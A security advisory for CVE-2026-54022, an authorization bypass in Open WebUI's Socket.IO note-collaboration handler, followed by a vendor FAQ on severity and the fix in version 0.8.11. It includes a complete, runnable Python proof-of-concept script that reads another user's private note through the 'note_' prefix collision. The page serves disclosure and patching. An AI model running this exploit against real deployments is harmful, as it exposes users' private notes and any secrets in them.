CVE-2026-54022

The ydoc:document:join Socket.IO handler checks note ownership only when the document_id starts with note: (colon). However, the YdocManager storage layer normalizes all document IDs by replacing colons with underscores (document_id.replace(":", "_")). An attacker can join a document room using note_<id> (underscore) instead of note:<id> (colon), bypassing the authorization check entirely while accessing the same underlying Yjs document. The server then returns the full document state, leaking the victim's private note contents.

Details

The ydoc:document:join handler in socket/main.py (line 511) only performs authorization for document IDs matching the note: prefix:

@sio.on("ydoc:document:join")
async def ydoc_document_join(sid, data):
    document_id = data["document_id"]

    if document_id.startswith("note:"):
        note_id = document_id.split(":")[1]
        note = Notes.get_note_by_id(note_id)
        # ... ownership and AccessGrants check ...
        # Returns early if user doesn't have access

    # If document_id does NOT start with "note:", execution continues
    # with no authorization check at all

    await YDOC_MANAGER.add_user(document_id=document_id, user_id=sid)
    await sio.enter_room(sid, f"doc_{document_id}")

    ydoc = Y.Doc()
    updates = await YDOC_MANAGER.get_updates(document_id)
    for update in updates:
        ydoc.apply_update(bytes(update))

    state_update = ydoc.get_update()
    await sio.emit("ydoc:document:state", {
        "document_id": document_id,
        "state": list(state_update),
    }, room=sid)

The YdocManager class in socket/utils.py normalizes document IDs in every method by replacing colons with underscores:

async def get_updates(self, document_id: str) -> List[bytes]:
    document_id = document_id.replace(":", "_")  # line 176
    # ... returns updates keyed by normalized ID

async def append_to_updates(self, document_id: str, update: bytes):
    document_id = document_id.replace(":", "_")  # line 134
    # ... stores update keyed by normalized ID

This means note:abc123 and note_abc123 resolve to the same storage key (note_abc123). When a victim opens their note, the Yjs document is stored under the normalized key. An attacker can then request the same document using the underscore variant, which skips the startswith("note:") authorization check but retrieves the same data from YdocManager.

PoC

#!/usr/bin/env python3
"""
uv run --no-project --with requests --with "python-socketio[asyncio_client]" --with aiohttp --with pycrdt finding_15_yjs_note_disclosure.py --base-url BASE_URL --attacker-email EMAIL --attacker-password PASS --victim-email EMAIL --victim-password PASS

Finding #15, Any authenticated user can read other users' private notes via Socket.IO

SUMMARY:
  The ydoc:document:join Socket.IO handler only checks authorization for
  document IDs starting with "note:" (colon). However, YdocManager normalizes
  document IDs by replacing colons with underscores internally. An attacker
  can join a room using "note_<id>" (underscore) to bypass the auth check,
  while still accessing the same underlying Yjs document as "note:<id>".
  Then ydoc:document:state returns the full document content.

VULNERABLE CODE:
  backend/open_webui/socket/main.py, ydoc:document:join:
    if document_id.startswith("note:"):
        # permission check only for colon-prefix
    # "note_<id>" skips this check entirely

  backend/open_webui/socket/ydoc.py, YdocManager:
    key = document_id.replace(":", "_")  # normalizes to same storage key

IMPACT:
  Any authenticated user can read the full content of any other user's notes
  by exploiting the namespace collision between "note:" and "note_" prefixes.

REPRODUCTION:
  1. Victim creates a private note with sensitive content.
  2. Attacker connects via Socket.IO and authenticates.
  3. Attacker joins room with document_id "note_<victim_note_id>" (underscore).
  4. Attacker requests ydoc:document:state to get the full note content.

REQUIREMENTS:
  - Running Open WebUI instance
  - A victim note with content
  - Attacker user (any authenticated user)
"""

import argparse
import asyncio
import sys
import requests
import socketio


async def victim_initialize_note(base, victim_token, note_id):
    """Simulate victim opening the note in the UI to initialize the Yjs document."""
    sio = socketio.AsyncClient()

    await sio.connect(
        base,
        socketio_path="/ws/socket.io",
        headers={"Authorization": f"Bearer {victim_token}"},
        transports=["websocket"],
    )

    # Join using the proper note:id format (passes auth check since victim owns it)
    doc_id = f"note:{note_id}"
    print(f"    Joining as victim with document_id: {doc_id}")

    await sio.emit("ydoc:document:join", {
        "document_id": doc_id,
        "user_id": "victim",
        "user_name": "Victim",
    })
    await asyncio.sleep(1)

    # Send a Yjs update with the note content
    # Create a simple Yjs document with text content
    try:
        import pycrdt as Y
        ydoc = Y.Doc()
        ytext = ydoc.get("default", type=Y.Text)
        with ydoc.transaction():
            ytext += "# Private Notes\n\nPassword for production DB: p@ssw0rd_pr0d_2026\nAWS root account: [email protected] / SuperSecret!23\n\nDo NOT share this with anyone."
        update = ydoc.get_update()

        await sio.emit("ydoc:document:update", {
            "document_id": doc_id,
            "update": list(update),
        })
        print(f"    Sent Yjs update with note content ({len(update)} bytes)")
    except ImportError:
        # If pycrdt not available, try y-py
        try:
            import y_py as Y
            ydoc = Y.YDoc()
            ytext = ydoc.get_text("default")
            with ydoc.begin_transaction() as txn:
                ytext.extend(txn, "# Private Notes\n\nPassword for production DB: p@ssw0rd_pr0d_2026\nAWS root account: [email protected] / SuperSecret!23\n\nDo NOT share this with anyone.")
            update = txn.get_update()

            await sio.emit("ydoc:document:update", {
                "document_id": doc_id,
                "update": list(update),
            })
            print(f"    Sent Yjs update with note content ({len(update)} bytes)")
        except ImportError:
            print("    WARNING: Neither pycrdt nor y-py available, sending raw text marker")
            # Send a minimal marker that we can detect
            raw_update = list(b"\x01\x00\x00\x00\x00\x00\x00SECRET_NOTE_CONTENT_MARKER")
            await sio.emit("ydoc:document:update", {
                "document_id": doc_id,
                "update": raw_update,
            })

    await asyncio.sleep(1)
    await sio.disconnect()
    print(f"    Victim disconnected")


async def exploit(base, attacker_token, victim_note_id):
    sio = socketio.AsyncClient()
    result = {"state": None, "error": None, "joined": False}

    @sio.on("ydoc:document:state")
    async def on_state(data):
        result["state"] = data
        print(f"    [!] Received ydoc:document:state event!")
        print(f"        document_id: {data.get('document_id', '?')}")
        state = data.get("state", [])
        print(f"        State size: {len(state)} bytes")

    @sio.on("error")
    async def on_error(data):
        result["error"] = data
        print(f"    [!] Error event: {data}")

    @sio.on("*")
    async def catch_all(event, data):
        if event not in ("ydoc:document:state", "error"):
            print(f"    [debug] Event: {event} Data: {str(data)[:200]}")

    # Connect with auth token
    print(f"[*] Connecting as attacker to Socket.IO...")
    await sio.connect(
        base,
        socketio_path="/ws/socket.io",
        auth={"token": attacker_token},
        transports=["websocket"],
    )

    # Join with "note_" prefix (underscore, bypasses auth)
    bypass_doc_id = f"note_{victim_note_id}"
    print(f"\n[*] Step 3: Joining room with bypassed document_id: {bypass_doc_id}")
    print(f"    (using underscore instead of colon to skip auth check)")

    await sio.emit("ydoc:document:join", {
        "document_id": bypass_doc_id,
        "user_id": "attacker",
        "user_name": "Attacker",
    })

    result["joined"] = True

    # Wait for state response (from join handler's emit)
    for _ in range(20):
        await asyncio.sleep(0.5)
        if result["state"]:
            break

    await sio.disconnect()
    return result


def main():
    parser = argparse.ArgumentParser(description="Finding #15: Yjs note disclosure via namespace collision")
    parser.add_argument("--base-url", required=True)
    parser.add_argument("--attacker-email", required=True)
    parser.add_argument("--attacker-password", required=True)
    parser.add_argument("--victim-email", required=True)
    parser.add_argument("--victim-password", required=True)
    args = parser.parse_args()

    base = args.base_url.rstrip("/")

    # ── Step 1: Login as victim and find their note ──
    print("[*] Authenticating as victim...")
    r = requests.post(f"{base}/api/v1/auths/signin",
                      json={"email": args.victim_email, "password": args.victim_password})
    if not r.ok:
        print(f"[-] Victim login failed: {r.status_code}")
        sys.exit(1)
    victim_token = r.json()["token"]
    victim_id = r.json()["id"]
    print(f"[+] Logged in as victim (id={victim_id})")

    r = requests.get(f"{base}/api/v1/notes/", headers={"Authorization": f"Bearer {victim_token}"})
    if not r.ok:
        print(f"[-] Failed to list victim notes: {r.status_code}")
        sys.exit(1)
    notes = r.json()
    if isinstance(notes, dict):
        notes = notes.get("items", notes.get("data", []))
    if not notes:
        print("[-] No victim notes found")
        sys.exit(1)
    victim_note = notes[0]
    victim_note_id = victim_note["id"]
    print(f"[+] Victim's note: {victim_note.get('title', '?')} (id={victim_note_id})")

    # ── Step 2: Login as attacker ──
    print(f"\n[*] Authenticating as attacker...")
    r = requests.post(f"{base}/api/v1/auths/signin",
                      json={"email": args.attacker_email, "password": args.attacker_password})
    if not r.ok:
        print(f"[-] Attacker login failed: {r.status_code}")
        sys.exit(1)
    attacker_token = r.json()["token"]
    attacker_id = r.json()["id"]
    print(f"[+] Logged in as attacker (id={attacker_id})")

    # ── Step 3: Confirm attacker CANNOT read victim's note via API ──
    print(f"\n[*] Step 1: Confirming attacker cannot read victim's note via API...")
    r = requests.get(f"{base}/api/v1/notes/{victim_note_id}",
                     headers={"Authorization": f"Bearer {attacker_token}"})
    if r.status_code in (401, 403, 404):
        print(f"[+] Access correctly DENIED via /api/v1/notes/{victim_note_id} (HTTP {r.status_code})")
    else:
        print(f"[!] Unexpected: attacker can read note (status {r.status_code})")

    # ── Step 4 & 5: Victim opens note, attacker reads it concurrently ──
    async def combined_exploit():
        # Victim opens note and stays connected
        print(f"\n[*] Step 2: Victim opens note (stays connected)...")
        victim_sio = socketio.AsyncClient()
        await victim_sio.connect(
            base,
            socketio_path="/ws/socket.io",
            auth={"token": victim_token},
            transports=["websocket"],
        )
        doc_id = f"note:{victim_note_id}"
        await victim_sio.emit("ydoc:document:join", {
            "document_id": doc_id,
            "user_id": "victim",
            "user_name": "Victim",
        })
        await asyncio.sleep(1)

        # Send Yjs update with note content
        try:
            import pycrdt as Y
            ydoc = Y.Doc()
            ytext = ydoc.get("default", type=Y.Text)
            with ydoc.transaction():
                ytext += "# Private Notes\n\nPassword for production DB: p@ssw0rd_pr0d_2026\nAWS root account: [email protected] / SuperSecret!23\n\nDo NOT share this with anyone."
            update = ydoc.get_update()
            await victim_sio.emit("ydoc:document:update", {
                "document_id": doc_id,
                "update": list(update),
            })
            print(f"    Sent Yjs update ({len(update)} bytes)")
        except Exception as e:
            print(f"    WARNING: Could not create Yjs update: {e}")

        await asyncio.sleep(1)

        # Now attacker joins while victim is still connected
        result = await exploit(base, attacker_token, victim_note_id)

        # Clean up victim connection
        await victim_sio.disconnect()
        return result

    result = asyncio.run(combined_exploit())

    if not result["joined"]:
        print(f"\n[-] Failed to join document room")
        sys.exit(1)

    if result["state"]:
        state_data = result["state"]
        state_bytes = bytes(state_data.get("state", []))

        # Try to extract readable text from the Yjs state
        # Yjs binary format contains the text as embedded strings
        text_content = ""
        try:
            # Search for readable ASCII strings in the binary data
            current_str = ""
            for b in state_bytes:
                if 32 <= b < 127:
                    current_str += chr(b)
                else:
                    if len(current_str) > 5:
                        text_content += current_str + " "
                    current_str = ""
            if len(current_str) > 5:
                text_content += current_str
        except Exception:
            pass

        print(f"\n[+] Extracted text from Yjs state:")
        print(f"    {text_content[:500]}")

        # Check for sensitive markers
        sensitive_markers = ["p@ssw0rd", "SuperSecret", "Private Notes", "production DB", "AWS root"]
        found = [m for m in sensitive_markers if m.lower() in text_content.lower()]

        if found:
            print(f"\n[+] SUCCESS: Victim's note content LEAKED via Yjs namespace collision!")
            print(f"    Sensitive markers found: {found}")
            print(f"    The attacker joined room 'doc_note_{victim_note_id}' (underscore)")
            print(f"    which bypasses the auth check (only checks 'note:' colon prefix)")
            print(f"    but accesses the same Yjs document due to normalization.")
            sys.exit(0)
        elif text_content.strip():
            print(f"\n[+] SUCCESS: Note content retrieved (markers may differ)")
            print(f"    Non-empty Yjs state was returned for victim's note.")
            sys.exit(0)
        else:
            print(f"\n[*] Yjs state was returned but could not extract readable text.")
            print(f"    Raw state size: {len(state_bytes)} bytes")
            if len(state_bytes) > 10:
                print(f"    First 50 bytes: {list(state_bytes[:50])}")
                print(f"[+] SUCCESS: Non-trivial document state returned")
                sys.exit(0)
            sys.exit(1)
    else:
        print(f"\n[-] No document state received")
        print(f"    The Yjs document may not exist in storage yet.")
        print(f"    Notes must be opened in the UI to create a Yjs document.")
        sys.exit(1)


if __name__ == "__main__":
    main()

Any authenticated user can read the full contents of any other user's private notes. Notes are a collaborative editing feature intended for personal or shared use -- private notes may contain sensitive information such as credentials, internal documentation, or personal data. The attacker only needs to know or enumerate the target note's ID.

The application does not correctly enforce access controls, allowing a principal to access resources or operations beyond their granted permissions. Typical impact: unauthorized data access or execution of privileged operations.

CVE-2026-54022 has a CVSS score of 5.3 (Medium). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.8.11); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-54022? CVE-2026-54022 is a medium-severity incorrect authorization vulnerability in open-webui (pip), affecting versions <= 0.8.10. It is fixed in 0.8.11. The application does not correctly enforce access controls, allowing a principal to access resources or operations beyond their granted permissions.
2. How severe is CVE-2026-54022? CVE-2026-54022 has a CVSS score of 5.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of open-webui are affected by CVE-2026-54022? open-webui (pip) versions <= 0.8.10 is affected.
4. Is there a fix for CVE-2026-54022? Yes. CVE-2026-54022 is fixed in 0.8.11. Upgrade to this version or later.
5. Is CVE-2026-54022 exploitable, and should I be worried? Whether CVE-2026-54022 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-54022 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-54022? Upgrade open-webui to 0.8.11 or later.